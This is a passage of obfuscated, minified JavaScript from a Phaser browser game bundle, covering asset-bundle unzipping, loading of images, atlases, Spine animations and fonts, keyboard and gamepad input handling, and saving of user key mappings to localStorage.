_0x12e6d7(_0x265b32, _0x1a9795, _0x205008); } return _0x649fc1(_0x265b32, _0x1a9795), _0x265b32; }; Object['defineProperty'](_0x269b0f, '__esModule', { 'value': !0x0 }), _0x269b0f['LoadAssetsComponent'] = void 0x0; const _0x559199 = _0x2f2ebf(0x5d3), _0x52c64a = _0x2f2ebf(0x1709), _0x3dc0e2 = _0x2f2ebf(0x2123), _0x349b50 = _0x2f2ebf(0xa66), _0x3cade8 = _0x240a91(_0x2f2ebf(0x1ec9)); class _0xa5a613 extends _0x52c64a['SceneComponent']{ constructor(_0x566765) { super(_0x566765); } ['onPreload']() { this['scene']['load']['on']('filecomplete', this['onFileComplete'], this), this['preloadAssetFiles']([]); } ['loadImage'](_0x484e77, _0x5e8f6b) { const _0x3d169a = _0x484e77['slice']('/asset/gfx/'['length'])['replace']('.png', ''), _0x559b8a = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY'])[_0x484e77]; try { this['scene']['load']['image'](_0x3d169a, _0x559b8a), _0x5e8f6b['push']('loaded\x20IMAGE\x20' + _0x3d169a + ':\x20' + _0x484e77); } catch (_0x5718c4) { } } ['loadJSON'](_0x2f98ca, _0x4e3026) { const _0x4710a3 = _0x2f98ca['slice']('/asset/'['length'])['replace']('.json', ''), _0xde49d = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']), _0x44f8b1 = _0xde49d ? _0xde49d[_0x2f98ca] : _0x2f98ca; try { this['scene']['load']['json'](_0x4710a3, _0x44f8b1), _0x4e3026['push']('loaded\x20JSON\x20' + _0x4710a3 + ':\x20' + _0x2f98ca); } catch (_0x140ac5) { } } ['loadAtlas'](_0x133a1b, _0x3cac79) { _0x133a1b['split']('.')[0x0]['endsWith']('-0') ? this['loadMultiAtlas'](_0x133a1b, _0x3cac79) : this['loadSingleAtlas'](_0x133a1b, _0x3cac79); } async['loadSpine'](_0x3da208, _0xacdb75) { const _0x1e8fda = _0x3da208['slice']('/asset/gfx/'['length'])['replace']('.atlas', ''), _0x2445bb = _0x3da208['replace']('.atlas', '.json'), _0x211e03 = _0x3da208, _0x292fa9 = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']), _0x3edbe9 = _0x292fa9[_0x2445bb], _0x1f0fce = _0x292fa9[_0x211e03], _0x24852e = []; await fetch(_0x1f0fce)['then'](_0x344ac3 => _0x344ac3['text']())['then'](_0x269d67 => { _0x269d67['split']('\x0a')['forEach'](_0x5ce1e4 => { const _0x2edfc8 = _0x5ce1e4['trim'](); if (!_0x2edfc8['endsWith']('.png')) return; const _0x11fbf8 = _0x3da208['replace']('.atlas', '.png'); _0x24852e['push'](_0x2edfc8), this['scene']['load']['image'](_0x2edfc8, _0x292fa9[_0x11fbf8]); }); }); try { this['scene']['load']['spine'](_0x1e8fda, _0x3edbe9, _0x1f0fce, !![]), _0xacdb75['push']('loaded\x20SPINE\x20' + _0x1e8fda + ':\x20[' + _0x24852e + ',\x20' + _0x211e03 + ',\x20' + _0x2445bb + ']'); } catch (_0x1b2ee7) { } } ['loadFont'](_0x3055cc, _0x41a7c5) { const _0x1858d5 = _0x3055cc['slice']('/asset/font/'['length'])['replace']('.fnt', ''), _0x7c3df3 = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']), _0xef74bb = _0x3055cc['replace']('.fnt', '_0.png'), _0x27b64f = _0x7c3df3[_0x3055cc], _0x49da6d = _0x7c3df3[_0xef74bb]; try { this['scene']['load']['bitmapFont'](_0x1858d5, _0x49da6d, _0x27b64f), _0x41a7c5['push']('loaded\x20FONT\x20' + _0x1858d5 + ':\x20' + _0x3055cc); } catch (_0x4ffbb6) { } } ['loadSingleAtlas'](_0x116507, _0x1f5117) { const _0x211625 = _0x116507['slice']('/asset/gfx/'['length'])['replace']('.png', ''), _0x391efa = _0x116507['replace']('.png', '.json'), _0x3a86ea = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']), _0x34f547 = { 'key': _0x211625, 'textureURL': _0x3a86ea[_0x116507], 'atlasURL': _0x3a86ea[_0x391efa] }, _0x50097c = Object['keys'](_0x3a86ea), _0x17c5e5 = _0x116507['replace']('.png', '_n.png'), _0x3d944e = Object['values'](_0x50097c)['find'](_0x4770a9 => _0x17c5e5 === _0x4770a9), _0x424473 = Object['values'](_0x50097c)['find'](_0x9706c4 => _0x116507 === _0x9706c4), _0x1f8a85 = Object['values'](_0x50097c)['find'](_0x3b7a66 => _0x391efa === _0x3b7a66); if (_0x3d944e && (_0x34f547['normalMap'] = _0x3a86ea[_0x17c5e5]), _0x424473 && _0x1f8a85) try { this['scene']['load']['atlas'](_0x34f547), _0x1f5117['push']('loaded\x20ATLAS\x20' + _0x211625 + ':\x20' + _0x116507 + '\x20and\x20' + _0x391efa, _0x3d944e ? 'with\x20normal\x20map:\x20' + _0x17c5e5 : '(no\x20normal\x20map)'); } catch (_0x5ddb56) { } } async['loadMultiAtlas'](_0x5f20d7, _0x4ca528) { const _0x569eb9 = _0x5f20d7['slice']('/asset/gfx/'['length'])['replace']('.png', '')['split']('-0')[0x0], _0x157fe5 = _0x5f20d7['split']('.')[0x0]['split']('-')[0x0] + '.json', _0x5dbdda = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']), _0x57f081 = _0x5dbdda[_0x157fe5]; let _0x25217a = { 'textures': [] }; await fetch(_0x57f081)['then'](_0x597739 => _0x597739['text']())['then'](_0x1d3863 => { _0x25217a = JSON['parse'](_0x1d3863), _0x25217a['textures']['forEach'](_0x53789f => { const _0x4d9d86 = '/asset/gfx/atlas/' + _0x53789f['image']; if (_0x53789f['image'] = _0x5dbdda[_0x4d9d86], !_0x53789f['normalMap']) return; const _0x123ddd = '/asset/gfx/atlas/' + _0x53789f['normalMap']; _0x53789f['normalMap'] = _0x5dbdda[_0x123ddd]; }); }); const _0x976558 = new Blob([JSON['stringify'](_0x25217a)], { 'type': 'application/json' }), _0x58382c = { 'key': _0x569eb9, 'path': '/asset/gfx/atlas', 'atlasURL': window['URL']['createObjectURL'](_0x976558) }; try { this['scene']['load']['multiatlas'](_0x58382c), _0x4ca528['push']('loaded\x20MULTIATLAS\x20' + _0x569eb9 + ';\x20PNG\x20and\x20NORMALS\x20defined\x20in\x20JSON'); } catch (_0x403cac) { } } ['onFileComplete'](_0x45055e, _0x3e0c32, _0x3c3109) { this['gameMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0x3dc0e2['EMessageOutboundType']['ASSET_LOADED'], 'content': { 'assetName': _0x45055e, 'assetType': _0x3e0c32 } }); } ['preloadAssetFiles'](_0x2af95d) { const _0x4f24e6 = this['scene']['game']['registry']['get'](_0x349b50['BUNDLE_ASSET_URLS_KEY']); (_0x4f24e6 ? Object['keys'](_0x4f24e6) : Object['values'](_0x3cade8))['forEach'](_0x44a817 => { if ('string' != typeof _0x44a817) return; const _0x2ab978 = this['config']['loaderConfigs']['find'](_0x155369 => { const _0x15c709 = _0x44a817['split']('.')['pop']() === _0x155369['extension'], _0x5442e5 = _0x44a817['startsWith'](_0x155369['location']); return _0x15c709 && _0x5442e5; }); _0x2ab978 && (!_0x2ab978['loadOnBackend'] && (0x0, _0x559199['runningAsBackend'])() || this[_0x2ab978['loader']]['call'](this, _0x44a817, _0x2af95d)); }); } } _0x269b0f['LoadAssetsComponent'] = _0xa5a613; }, 0x220c: (_0x28e7a1, _0x1ac76e, _0x38119c) => { 'use strict'; Object['defineProperty'](_0x1ac76e, '__esModule', { 'value': !0x0 }), _0x1ac76e['createLoadAssetsScene'] = void 0x0; const _0xbe0ff2 = _0x38119c(0x18d6), _0x1313dc = _0x38119c(0x2347), _0x32666a = _0x38119c(0x19f5), _0x32a681 = _0x38119c(0x1242); _0x1ac76e['createLoadAssetsScene'] = function (_0x47b2f1) { const _0x5f3a85 = [new _0xbe0ff2['LoadAssetsComponent']({ 'loaderConfigs': [{ 'extension': 'json', 'location': '/asset/config', 'loader': 'loadJSON', 'loadOnBackend': !0x0 }, { 'extension': 'png', 'location': '/asset/gfx/image', 'loader': 'loadImage', 'loadOnBackend': !0x1 }, { 'extension': 'png', 'location': '/asset/gfx/atlas', 'loader': 'loadAtlas', 'loadOnBackend': !0x1 }, { 'extension': 'atlas', 'location': '/asset/gfx/spine', 'loader': 'loadSpine', 'loadOnBackend': !0x1 }, { 'extension': 'fnt', 'location': '/asset/font', 'loader': 'loadFont', 'loadOnBackend': !0x1 }] }), new _0x32a681['ConfigRegistryComponent']()]; return new _0x32666a['Scene']({ 'gameMessageBus': _0x47b2f1['gameMessageBus'], 'gameContext': _0x47b2f1['gameContext'], 'components': _0x5f3a85, 'model': { ..._0x1313dc['sceneModel'] }, 'name': 'LOAD_ASSETS' }); }; }, 0xa66: function (_0x388846, _0x490a90, _0x1fe5b4) { 'use strict'; var _0x57cdce = this && this['__importDefault'] || function (_0xcb40e2) { return _0xcb40e2 && _0xcb40e2['__esModule'] ? _0xcb40e2 : { 'default': _0xcb40e2 }; }; Object['defineProperty'](_0x490a90, '__esModule', { 'value': !0x0 }), _0x490a90['LoadBundleComponent'] = _0x490a90['PROGRESS_THRESHOLD'] = _0x490a90['BUNDLE_ASSET_URLS_KEY'] = void 0x0; const _0x2bd2c5 = _0x1fe5b4(0x2123), _0x4acd24 = _0x1fe5b4(0x1709), _0x51598a = _0x57cdce(_0x1fe5b4(0x1665)), _0x1ae1b8 = '/' + ('e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage'?.['trim']() || 'bundle.zip'), _0x477156 = 'bundleZip'; _0x490a90['BUNDLE_ASSET_URLS_KEY'] = 'assetURLs', _0x490a90['PROGRESS_THRESHOLD'] = 0.05; class _0x32bdbe extends _0x4acd24['SceneComponent']{ ['lastProgress'] = 0x0; constructor(_0x19af62) { super(_0x19af62); } ['onPreload']() { this['scene']['load']['on']('fileprogress', this['onFileProgress'], this), this['scene']['load']['binary'](_0x477156, _0x1ae1b8, Uint8Array); } ['onCreate']() { const _0x9ba20f = this['scene']['game']['cache']['binary']['get'](_0x477156); _0x9ba20f && this['unzipBundle'](_0x9ba20f)['then'](_0x497f95 => { this['scene']['registry']['set']('assetURLs', _0x497f95), this['finishAndStartNextScene'](); })['catch'](_0x41e7c8 => { }); } ['finishAndStartNextScene']() { this['config']['nextScenes']['forEach'](_0x2622cd => { this['scene']['scene']['add'](_0x2622cd['key'], _0x2622cd['scene']), this['scene']['scene']['start'](_0x2622cd['key']); }); } async['unzipBundle'](_0x3d5e96) { const _0x173570 = await _0x51598a['default']['loadAsync'](_0x3d5e96), _0x37b95d = {}; for (const _0x4abe48 of Object['keys'](_0x173570['files'])) { const _0x3435b6 = _0x173570['file'](_0x4abe48); if (!_0x3435b6) continue; if (_0x3435b6['dir']) continue; const _0xce707f = await _0x3435b6['async']('blob'), _0x856d17 = window['URL']['createObjectURL'](_0xce707f); _0x37b95d['/' + _0x4abe48] = _0x856d17; } return _0x37b95d; } ['onFileProgress'](_0xda2f5b) { _0xda2f5b['percentComplete'] - this['lastProgress'] >= _0x490a90['PROGRESS_THRESHOLD'] && (this['lastProgress'] = _0xda2f5b['percentComplete'], this['gameMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0x2bd2c5['EMessageOutboundType']['ASSET_PROGRESS'], 'content': { 'assetName': _0xda2f5b['key'], 'assetType': _0xda2f5b['type'], 'progress': Math['round'](0x64 * _0xda2f5b['percentComplete']) / 0x64 } })); } } _0x490a90['LoadBundleComponent'] = _0x32bdbe; }, 0xf64: (_0x53ec43, _0x35b6f6, _0x111e8b) => { 'use strict'; Object['defineProperty'](_0x35b6f6, '__esModule', { 'value': !0x0 }), _0x35b6f6['createPreloadAssetsScene'] = void 0x0; const _0x59da9a = _0x111e8b(0x2347), _0x2a4e21 = _0x111e8b(0x19f5), _0x45cef2 = _0x111e8b(0xa66); _0x35b6f6['createPreloadAssetsScene'] = function (_0x3d27ee) { return new _0x2a4e21['Scene']({ 'gameMessageBus': _0x3d27ee['gameMessageBus'], 'gameContext': _0x3d27ee['gameContext'], 'components': [new _0x45cef2['LoadBundleComponent']({ ..._0x3d27ee })], 'model': { ..._0x59da9a['sceneModel'] }, 'name': 'PRELOAD_ASSETS' }); }; }, 0x1640: (_0x4ac083, _0x20a4ac, _0x3b6993) => { 'use strict'; Object['defineProperty'](_0x20a4ac, '__esModule', { 'value': !0x0 }), _0x20a4ac['ControlsGamepadActionsComponent'] = void 0x0; const _0x356ddc = _0x3b6993(0x1709), _0x3d51d0 = _0x3b6993(0x21d4); class _0x20fc48 extends _0x356ddc['SceneComponent']{ ['reversedMapping'];['gamepadIndex'] = 0x0;['onCreate']() { this['setupReverseMappings'](), this['gameMessageBus']['subscribe'](this, 'gamepadEvent', _0x573ea0 => { _0x573ea0 && ('connected' === _0x573ea0['type'] && _0x573ea0['value'] && this['handleGamepadConnected'](_0x573ea0['gamepad']), 'connected' !== _0x573ea0['type'] || _0x573ea0['value'] || this['handleGamepadDisconnected'](_0x573ea0['gamepad']), ['buttonState', 'axisState']['includes'](_0x573ea0['type']) && this['gamepadIndex'] === _0x573ea0['gamepad'] && this['handleInput'](_0x573ea0['index'], _0x573ea0['value'])); }), this['gameContext']['subscribeToGameStore']('inputsDisabled', ({ oldValue: _0x225f91, newValue: _0x5e2059 }) => this['maybeCancelActiveActions'](_0x225f91, _0x5e2059)), this['gameContext']['subscribeToGameStore']('settings', ({ oldValue: _0x510c17, newValue: _0x3afb4e }) => this['setupReverseMappings']()); } ['handleGamepadConnected'](_0x16d294) { if (void 0x0 === _0x16d294) return; const _0x12a19d = { ...this['gameContext']['getFromGameStore']('settings') }; _0x12a19d['inputType'] = _0x3d51d0['EInputType']['GAMEPAD'], this['gamepadIndex'] = _0x16d294, this['gameContext']['updateGameStore']('settings', _0x12a19d, { 'forceUpdate': !0x0 }); } ['handleGamepadDisconnected'](_0x1a44e7) { if (void 0x0 === _0x1a44e7) return; if (this['gamepadIndex'] !== _0x1a44e7) return; const _0x2a60a9 = { ...this['gameContext']['getFromGameStore']('settings') }; _0x2a60a9['inputType'] = _0x3d51d0['EInputType']['KEYBOARD'], this['gamepadIndex'] = 0x0, this['gameContext']['updateGameStore']('settings', _0x2a60a9, { 'forceUpdate': !0x0 }); } ['handleInput'](_0x524de7, _0x4d036d) { if (void 0x0 === _0x524de7) return; const _0x22869a = this['getMappedKey'](_0x524de7); if (!_0x22869a) return; const _0x34857a = this['gameContext']['getFromGameStore']('inputsDisabled'); !['exit', 'interaction']['includes'](_0x22869a) && _0x34857a || this['gameMessageBus']['publish']('actionStateChange', { 'action': _0x22869a, 'state': _0x4d036d ? '1' : null }); } ['getMappedKey'](_0x99370b) { return this['reversedMapping'][_0x99370b]; } ['maybeCancelActiveActions'](_0x2fa08e, _0x3ce675) { _0x2fa08e !== _0x3ce675 && _0x3ce675 && Object['values'](this['reversedMapping'])['forEach'](_0x6f3949 => { this['gameMessageBus']['publish']('actionStateChange', { 'action': _0x6f3949, 'state': null }); }); } ['setupReverseMappings']() { const _0x49ff0e = this['gameContext']['getFromGameStore']('settings'); this['reversedMapping'] = this['reverseObject'](_0x49ff0e['gamepadMapping']); } ['reverseObject'](_0xf7e0c4) { return Object['entries'](_0xf7e0c4)['reduce']((_0x419517, [_0xbc4818, _0x3fe431]) => (_0x419517[_0x3fe431] = _0xbc4818, _0x419517), {}); } } _0x20a4ac['ControlsGamepadActionsComponent'] = _0x20fc48; }, 0xbfd: (_0x3a4691, _0xfcb45c, _0x543bfe) => { 'use strict'; Object['defineProperty'](_0xfcb45c, '__esModule', { 'value': !0x0 }), _0xfcb45c['ControlsGamepadInputsComponent'] = _0xfcb45c['RIGHT_JOYSTICK_UP'] = _0xfcb45c['RIGHT_JOYSTICK_DOWN'] = _0xfcb45c['RIGHT_JOYSTICK_RIGHT'] = _0xfcb45c['RIGHT_JOYSTICK_LEFT'] = _0xfcb45c['LEFT_JOYSTICK_UP'] = _0xfcb45c['LEFT_JOYSTICK_DOWN'] = _0xfcb45c['LEFT_JOYSTICK_RIGHT'] = _0xfcb45c['LEFT_JOYSTICK_LEFT'] = _0xfcb45c['DIRECTION_UP'] = _0xfcb45c['DIRECTION_DOWN'] = _0xfcb45c['DIRECTION_RIGHT'] = _0xfcb45c['DIRECTION_LEFT'] = _0xfcb45c['RIGHT_JOYSTICK'] = _0xfcb45c['LEFT_JOYSTICK'] = void 0x0; const _0x711089 = _0x543bfe(0x1709); _0xfcb45c['LEFT_JOYSTICK'] = 0x2af8, _0xfcb45c['RIGHT_JOYSTICK'] = 0x2ee0, _0xfcb45c['DIRECTION_LEFT'] = 0x1, _0xfcb45c['DIRECTION_RIGHT'] = 0x2, _0xfcb45c['DIRECTION_DOWN'] = 0x3, _0xfcb45c['DIRECTION_UP'] = 0x4, _0xfcb45c['LEFT_JOYSTICK_LEFT'] = _0xfcb45c['LEFT_JOYSTICK'] + _0xfcb45c['DIRECTION_LEFT'], _0xfcb45c['LEFT_JOYSTICK_RIGHT'] = _0xfcb45c['LEFT_JOYSTICK'] + _0xfcb45c['DIRECTION_RIGHT'], _0xfcb45c['LEFT_JOYSTICK_DOWN'] = _0xfcb45c['LEFT_JOYSTICK'] + _0xfcb45c['DIRECTION_DOWN'], _0xfcb45c['LEFT_JOYSTICK_UP'] = _0xfcb45c['LEFT_JOYSTICK'] + _0xfcb45c['DIRECTION_UP'], _0xfcb45c['RIGHT_JOYSTICK_LEFT'] = _0xfcb45c['RIGHT_JOYSTICK'] + _0xfcb45c['DIRECTION_LEFT'], _0xfcb45c['RIGHT_JOYSTICK_RIGHT'] = _0xfcb45c['RIGHT_JOYSTICK'] + _0xfcb45c['DIRECTION_RIGHT'], _0xfcb45c['RIGHT_JOYSTICK_DOWN'] = _0xfcb45c['RIGHT_JOYSTICK'] + _0xfcb45c['DIRECTION_DOWN'], _0xfcb45c['RIGHT_JOYSTICK_UP'] = _0xfcb45c['RIGHT_JOYSTICK'] + _0xfcb45c['DIRECTION_UP']; class _0x209f23 extends _0x711089['SceneComponent']{ constructor() { super({ 'isRenderComponent': !0x0 }); } ['states'] = {};['onGamepadConnectedHandler'] = _0x52fe99 => this['onGamepadConnected'](_0x52fe99);['onGamepadDisconnectedHandler'] = _0x2518f8 => this['onGamepadDisconnected'](_0x2518f8);['updateGamepadStateHandler'] = () => this['updateGamepadState']();['onCreate']() { window['addEventListener']('gamepadconnected', this['onGamepadConnectedHandler']), window['addEventListener']('gamepaddisconnected', this['onGamepadDisconnectedHandler']), this['scene']['events']['on']('update', this['updateGamepadStateHandler'], this); } ['destroy']() { window['removeEventListener']('gamepadconnected', this['onGamepadConnectedHandler']), window['removeEventListener']('gamepaddisconnected', this['onGamepadDisconnectedHandler']), this['scene']['events']['off']('update', this['updateGamepadStateHandler'], this), this['states'] = {}; } ['onGamepadConnected'] = _0x41afb1 => { this['gameMessageBus']['publish']('gamepadEvent', { 'gamepad': _0x41afb1['gamepad']['index'], 'value': !0x0, 'type': 'connected' }); };['onGamepadDisconnected'] = _0x4d3d99 => { this['gameMessageBus']['publish']('gamepadEvent', { 'gamepad': _0x4d3d99['gamepad']['index'], 'value': !0x1, 'type': 'connected' }); };['updateGamepadState']() { navigator['getGamepads']()['forEach']((_0x51237d, _0x42ac5c) => { _0x51237d?.['connected'] && this['handleGamepadInput'](_0x51237d, _0x42ac5c); }); } ['handleGamepadInput'](_0x357e0a, _0x2dcf0d) { this['states'][_0x2dcf0d] || (this['states'][_0x2dcf0d] = {}); const _0x2c90a5 = this['states'][_0x2dcf0d]; _0x357e0a['buttons']['forEach']((_0x6447df, _0x50b454) => { _0x2c90a5[_0x50b454] !== _0x6447df['pressed'] && (_0x2c90a5[_0x50b454] = _0x6447df['pressed'], this['gameMessageBus']['publish']('gamepadEvent', { 'gamepad': _0x2dcf0d, 'index': _0x50b454, 'value': _0x6447df['pressed'], 'type': 'buttonState' })); }); const _0xafbdc5 = 0.35, _0x1daad7 = 0.65; this['handleJoystick'](_0x357e0a['axes'][0x0], _0xafbdc5, -0x1, _0x2c90a5, _0xfcb45c['LEFT_JOYSTICK_LEFT'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x0], _0xafbdc5, 0x1, _0x2c90a5, _0xfcb45c['LEFT_JOYSTICK_RIGHT'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x1], _0x1daad7, -0x1, _0x2c90a5, _0xfcb45c['LEFT_JOYSTICK_UP'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x1], _0x1daad7, 0x1, _0x2c90a5, _0xfcb45c['LEFT_JOYSTICK_DOWN'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x2], _0xafbdc5, -0x1, _0x2c90a5, _0xfcb45c['RIGHT_JOYSTICK_LEFT'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x2], _0xafbdc5, 0x1, _0x2c90a5, _0xfcb45c['RIGHT_JOYSTICK_RIGHT'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x3], _0x1daad7, -0x1, _0x2c90a5, _0xfcb45c['RIGHT_JOYSTICK_UP'], _0x2dcf0d), this['handleJoystick'](_0x357e0a['axes'][0x3], _0x1daad7, 0x1, _0x2c90a5, _0xfcb45c['RIGHT_JOYSTICK_DOWN'], _0x2dcf0d); } ['handleJoystick'](_0xeb7410, _0x5a08c2, _0x30c167, _0x18a372, _0x172a60, _0x2cf374) { const _0x5a5003 = _0xeb7410 * _0x30c167 > _0x5a08c2; _0x5a5003 !== (_0x18a372[_0x172a60] ?? !0x1) && (_0x18a372[_0x172a60] = _0x5a5003, this['gameMessageBus']['publish']('gamepadEvent', { 'gamepad': _0x2cf374, 'index': _0x172a60, 'value': _0x5a5003, 'type': 'axisState' })); } } _0xfcb45c['ControlsGamepadInputsComponent'] = _0x209f23; }, 0x219f: (_0x35e6f4, _0x388089, _0x185b8c) => { 'use strict'; Object['defineProperty'](_0x388089, '__esModule', { 'value': !0x0 }), _0x388089['ControlsKeyboardComponent'] = void 0x0; const _0x35b48a = _0x185b8c(0x1709); class _0x1480fc extends _0x35b48a['SceneComponent']{ ['reversedMapping'];['onCreate']() { this['setupKeyListeners'](), this['setupReverseMappings'](), this['gameContext']['subscribeToGameStore']('inputsDisabled', ({ oldValue: _0x2e92c7, newValue: _0x42a6dc }) => this['maybeCancelActiveActions'](_0x2e92c7, _0x42a6dc)), this['gameContext']['subscribeToGameStore']('settings', ({ oldValue: _0x1c1f0b, newValue: _0x4285b5 }) => this['setupReverseMappings']()); } ['setupKeyListeners']() { this['scene']['input']['keyboard']['on']('keydown', _0x51fbf3 => this['onKeydown'](_0x51fbf3)), this['scene']['input']['keyboard']['on']('keyup', _0x2ae1f4 => this['onKeyup'](_0x2ae1f4)); } ['onKeydown'](_0x4b4ea8) { const _0x5189e4 = this['getMappedKey'](_0x4b4ea8); if (!_0x5189e4) return; const _0x469db4 = this['gameContext']['getFromGameStore']('inputsDisabled'); !['exit', 'interaction']['includes'](_0x5189e4) && _0x469db4 || (this['gameMessageBus']['publish']('actionStateChange', { 'action': _0x5189e4, 'state': '1' }), _0x4b4ea8['preventDefault']()); } ['onKeyup'](_0x34f2ba) { const _0x31fcd1 = this['getMappedKey'](_0x34f2ba); if (!_0x31fcd1) return; const _0x26c74a = this['gameContext']['getFromGameStore']('inputsDisabled'); !['exit', 'interaction']['includes'](_0x31fcd1) && _0x26c74a || (this['gameMessageBus']['publish']('actionStateChange', { 'action': _0x31fcd1, 'state': null }), _0x34f2ba['preventDefault']()); } ['getMappedKey'](_0x26ef48) { return this['reversedMapping'][_0x26ef48['key']['toLowerCase']()]; } ['maybeCancelActiveActions'](_0x2a868b, _0x32f5a1) { _0x2a868b !== _0x32f5a1 && _0x32f5a1 && Object['values'](this['reversedMapping'])['forEach'](_0x3f20ed => { this['gameMessageBus']['publish']('actionStateChange', { 'action': _0x3f20ed, 'state': null }); }); } ['setupReverseMappings']() { const _0x430057 = this['gameContext']['getFromGameStore']('settings'); this['reversedMapping'] = this['reverseObject'](_0x430057['keyboardMapping']); } ['reverseObject'](_0x486b4b) { return Object['entries'](_0x486b4b)['reduce']((_0x2cf953, [_0x1b27af, _0x5f4387]) => (_0x2cf953[_0x5f4387] = _0x1b27af, _0x2cf953), {}); } } _0x388089['ControlsKeyboardComponent'] = _0x1480fc; }, 0xbdd: (_0x3be7f0, _0x440bf1, _0xe567fc) => { 'use strict'; Object['defineProperty'](_0x440bf1, '__esModule', { 'value': !0x0 }), _0x440bf1['createControlsScene'] = void 0x0; const _0x7734d0 = _0xe567fc(0x19f5), _0x1385e6 = _0xe567fc(0x219f), _0x47b305 = _0xe567fc(0xf18), _0x23c160 = _0xe567fc(0x2347), _0x34876c = _0xe567fc(0x1f24), _0x125088 = _0xe567fc(0x1640), _0x4a7dfa = _0xe567fc(0xbfd), _0x4ed132 = _0xe567fc(0x1325), _0x2c2a21 = { ..._0x23c160['sceneModel'] }; _0x440bf1['createControlsScene'] = async function (_0x46143c) { const _0x40fc00 = [new _0x34876c['UserActionsComponent'](), new _0x4ed132['ControlsUpdateComponent']()]; if ((0x0, _0x47b305['isMobile'])()) { const { ControlsTouchComponent: _0x47599f } = await _0xe567fc['e'](0x14b)['then'](_0xe567fc['t']['bind'](_0xe567fc, 0x208b, 0x17)), { TouchUISystem: _0x1c44de } = await _0xe567fc['e'](0xc8)['then'](_0xe567fc['bind'](_0xe567fc, 0x23f0)), _0x49a4e1 = new _0x1c44de({ 'disabledOnBackend': !0x0 }); _0x40fc00['push'](new _0x47599f({ 'controllers': [_0x49a4e1] })); } else _0x40fc00['push'](new _0x1385e6['ControlsKeyboardComponent']({ 'controllers': [] })), _0x40fc00['push'](new _0x4a7dfa['ControlsGamepadInputsComponent']()), _0x40fc00['push'](new _0x125088['ControlsGamepadActionsComponent']()); return new _0x7734d0['Scene']({ 'gameMessageBus': _0x46143c['gameMessageBus'], 'gameContext': _0x46143c['gameContext'], 'name': 'CONTROLS', 'model': _0x2c2a21, 'components': _0x40fc00 }); }; }, 0x1325: (_0x5e899c, _0x44fe61, _0x4cf878) => { 'use strict'; Object['defineProperty'](_0x44fe61, '__esModule', { 'value': !0x0 }), _0x44fe61['ControlsUpdateComponent'] = void 0x0; const _0x120ae1 = _0x4cf878(0x2123), _0x5eabf9 = _0x4cf878(0x1709), _0x4709e3 = _0x4cf878(0x21d4), _0x3d7332 = 'variance_user_settings'; class _0x3b3187 extends _0x5eabf9['SceneComponent']{ ['init']() { this['loadCustomKeyMappingFromLocalStorage'](), this['gameContext']['subscribeToGameStore']('settings', ({ oldValue: _0x1fd58c, newValue: _0xe1d3eb }) => this['onSettingsUpdate'](_0xe1d3eb)), this['gameContext']['subscribeToGameStore']('rawSettings', ({ oldValue: _0x29947d, newValue: _0x22accb }) => this['onRawSettingsUpdate'](_0x22accb)), this['gameMessageBus']['subscribe'](this, 'receivedInboundMessage', _0x7fe44b => this['onReceivedInboundMessage'](_0x7fe44b)); } ['onReceivedInboundMessage'](_0x3eab34) { _0x3eab34['type'] === _0x120ae1['EMessageInboundType']['UPDATE_SETTINGS'] && this['gameContext']['updateGameStore']('rawSettings', _0x3eab34['content'], { 'forceUpdate': !0x0 }); } ['onSettingsUpdate'](_0x45ad87) { this['storeCustomKeyMappingInLocalStorage'](_0x45ad87); } ['onRawSettingsUpdate'](_0x3dcd3d) { const _0x1a5e6b = { ...this['gameContext']['getFromGameStore']('settings') }; if (_0x3dcd3d['keybindings']) { const _0x17feb5 = { ..._0x1a5e6b['keyboardMapping'] }; _0x3dcd3d['keybindings']['forEach'](_0x2d45f7 => { _0x17feb5[_0x2d45f7['value']] = _0x2d45f7['key']; }), _0x1a5e6b['keyboardMapping'] = _0x17feb5; } if (_0x3dcd3d['controller']) { const _0x1a72d8 = { ..._0x1a5e6b['gamepadMapping'] }; _0x3dcd3d['controller']['forEach'](_0x516dd3 => { _0x1a72d8[_0x516dd3['value']] = _0x516dd3['button']; }), _0x1a5e6b['gamepadMapping'] = _0x1a72d8; } _0x3dcd3d['audio'] && (_0x1a5e6b['audio'] = _0x3dcd3d['audio']), _0x3dcd3d['language'] && (_0x1a5e6b['language'] = _0x3dcd3d['language']), this['gameContext']['updateGameStore']('settings', _0x1a5e6b, { 'forceUpdate': !0x0 }); } ['storeCustomKeyMappingInLocalStorage'](_0x5d5a49) { const _0x13fcfb = { ..._0x5d5a49 }; _0x13fcfb['inputType'] = _0x4709e3['EInputType']['KEYBOARD'], localStorage['setItem'](_0x3d7332, JSON['stringify'](_0x13fcfb)); } ['loadCustomKeyMappingFromLocalStorage']() { const _0x23fb11 = localStorage['getItem'](_0x3d7332) || '{}'; if (!_0x23fb11) return; let _0x2b4a2c; try { _0x2b4a2c = JSON['parse'](_0x23fb11); } catch (_0x115e71) { return; } Object['keys'](_0x2b4a2c)['length'] > 0x0 && this['gameContext']['updateGameStore']('settings', _0x2b4a2c, { 'forceUpdate': !0x0 }); } } _0x44fe61['ControlsUpdateComponent'] = _0x3b3187; }, 0x1f24: (_0xf5316a, _0x20891a, _0x2e1ff6) => { 'use strict'; Object['defineProperty'](_0x20891a, '__esModule', { 'value': !0x0 }), _0x20891a['UserActionsComponent'] = void 0x0; const _0x4c3c94 = _0x2e1ff6(0x2123), _0x5a282d = _0x2e1ff6(0x1709); class _0x4fb53d extends _0x5a282d['SceneComponent']{ ['onCreate']() { this['addIgnoreActionsReason']('START_OF_LEVEL'), this['maybeAddClientRequestedDisable'](), this['gameMessageBus']['subscribe'](this, 'receivedInboundMessage', ({ type: _0x2b9103 }) => 